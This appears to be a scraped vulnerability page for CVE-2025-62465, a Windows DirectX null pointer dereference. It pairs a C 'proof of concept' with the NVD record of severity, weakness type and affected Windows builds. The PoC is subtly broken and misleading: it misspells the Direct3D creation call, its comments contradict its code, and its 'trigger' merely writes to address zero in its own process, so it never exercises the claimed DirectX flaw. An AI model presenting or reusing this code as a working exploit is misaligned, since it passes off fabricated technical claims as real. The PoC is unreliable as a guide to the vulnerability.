CVE-2025-62465

// CVE-2025-62465 Windows DirectX Null Pointer Dereference PoC // This PoC demonstrates triggering a null pointer dereference in DirectX // Requires local access with low privileges #include <windows.h> #include <d3d9.h> #pragma comment(lib, "d3d9.lib") int main() { HWND hWnd = GetConsoleWindow(); // Initialize Direct3D LPDIRECT3D9 pD3D = Direct3Create9(D3D_SDK_VERSION); if (pD3D == NULL) { printf("Failed to create Direct3D object\n"); return -1; } D3DPRESENT_PARAMETERS d3dpp; ZeroMemory(&d3dpp, sizeof(d3dpp)); d3dpp.Windowed = TRUE; d3dpp.SwapEffect = D3DSWAPEFFECT_DISCARD; d3dpp.hDeviceWindow = hWnd; LPDIRECT3DDEVICE9 pDevice = NULL; // Attempt to create device with invalid parameters to trigger vulnerability HRESULT hr = pD3D->CreateDevice( D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, NULL, // NULL window handle triggers null pointer D3DCREATE_SOFTWARE_VERTEXPROCESSING, &d3dpp, &pDevice ); if (SUCCEEDED(hr) && pDevice != NULL) { // Trigger null pointer dereference through invalid surface operations LPDIRECT3DSURFACE9 pSurface = NULL; pDevice->GetRenderTarget(0, &pSurface); // Manipulate surface to trigger the vulnerability D3DLOCKED_RECT lockedRect; if (pSurface) { pSurface->LockRect(&lockedRect, NULL, D3DLOCK_READONLY); // Force null pointer access volatile char* p = (volatile char*)0x00000000; *p = 0; // This triggers the null pointer dereference pSurface->UnlockRect(); pSurface->Release(); } pDevice->Release(); } pD3D->Release(); return 0; } // Note: This is a simplified PoC for demonstration purposes // Actual exploitation may require specific conditions and Windows version

{"cve": {"id": "CVE-2025-62465", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:58.383", "lastModified": "2025-12-10T18:39:28.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Null pointer dereference in Windows DirectX allows an authorized attacker to deny service locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6345", "matchCriteriaId": "6DCE32D0-A9E0-4029-AB35-5E202A42AF01"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "8DCD2A6E-7CD0-4FCC-AC11-5A1470776C24"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7392", "matchCriteriaId": "8EA08CDD-D682-403D-8B50-879EB4D88C67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4467", "matchCriteriaId": "C552FBB4-8F98-492E-A084-AF14C9514A67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2025", "matchCriteriaId": "E9CE4A36-DA42-40CC-8724-E30A22CA84B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "35BBEADA-D039-479B-A1BA-B2A7E37235BE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62465", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}